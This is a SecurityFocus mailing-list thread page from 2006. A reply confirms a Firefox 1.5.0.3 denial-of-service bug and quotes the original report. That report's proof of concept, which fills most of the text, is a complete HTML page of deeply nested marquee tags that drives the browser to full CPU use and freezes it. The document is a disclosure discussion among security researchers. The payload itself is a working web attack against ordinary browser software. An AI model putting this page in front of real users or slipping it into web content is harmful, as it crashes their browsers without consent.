SecurityFocus

Fire fox dos exploit May 30 2006 12:03PM
co296 aol com (2 replies)

Re: Fire fox dos exploit May 31 2006 02:50PM
Josh Zlatin-Amishav (josh tkos co il) (5 replies)

Re: Fire fox dos exploit Jun 01 2006 08:00PM
Aaron Hopkins (lists die net)

Re: Fire fox dos exploit May 31 2006 08:14PM
Phil Trainor (ptrainor imperfectnetworks com)

Re: Fire fox dos exploit May 31 2006 05:28PM
Yannick von Arx (yannick vonarx yanux ch)

Re: Fire fox dos exploit May 31 2006 05:08PM
Ronald van den Blink (ronald securityview org)

RE: Fire fox dos exploit May 31 2006 04:22PM
Andy (andy nds uk com) (1 replies)

RE: Fire fox dos exploit Jun 05 2006 03:49AM
Sanjay Rawat (sanjayr intoto com) (1 replies)

RE: Fire fox dos exploit Jun 07 2006 10:43AM
Jaroslaw Sajko (sloik parareal net)

Re: Fire fox dos exploit May 31 2006 01:59PM
pagvac (unknown pentester gmail com)

Successfully tested on Firefox 1.5.0.3.

I had to kill my firefox.exe process after half a minute of freezing :-)

On 30 May 2006 12:03:36 -0000, co296 (at) aol (dot) com [email concealed] <co296 (at) aol (dot) com [email concealed]> wrote:
> I have found a problem which causes denial of service on fire fox browser
>
>
> Creadit:to n00b for finding this bug..
>
>
> the problem lie's in the
>
>
> <marquee> html tag uses 100% cpu and crash's the browser..
>
>
> Following proof of concept available
>
>
> <html>
>
> <head>
>
> <title>Credit to n00b..</title>
>
> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
>
> </head>
>
>
> <body>
>
> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
<marquee><marquee><marquee><marquee></marquee></marquee></marquee></marq
uee></marquee></marquee></marquee></marquee></marquee></marquee></marque
e></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></
marquee></marquee></marquee></marquee></marquee></marquee></marquee></ma
rquee></marquee></marquee></marquee></marquee></marq
ue
> e></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
</marquee></marquee></marquee></marquee></marquee></marquee></marquee></
marquee></marquee></marquee></marquee></marquee></marquee></marquee></ma
rquee></marquee></marquee></marquee></marquee></marquee></marquee></marq
uee></marquee>
>
> </body>
>
> </html>
>
>

--
pagvac
[http://ikwt.com]

[ reply ]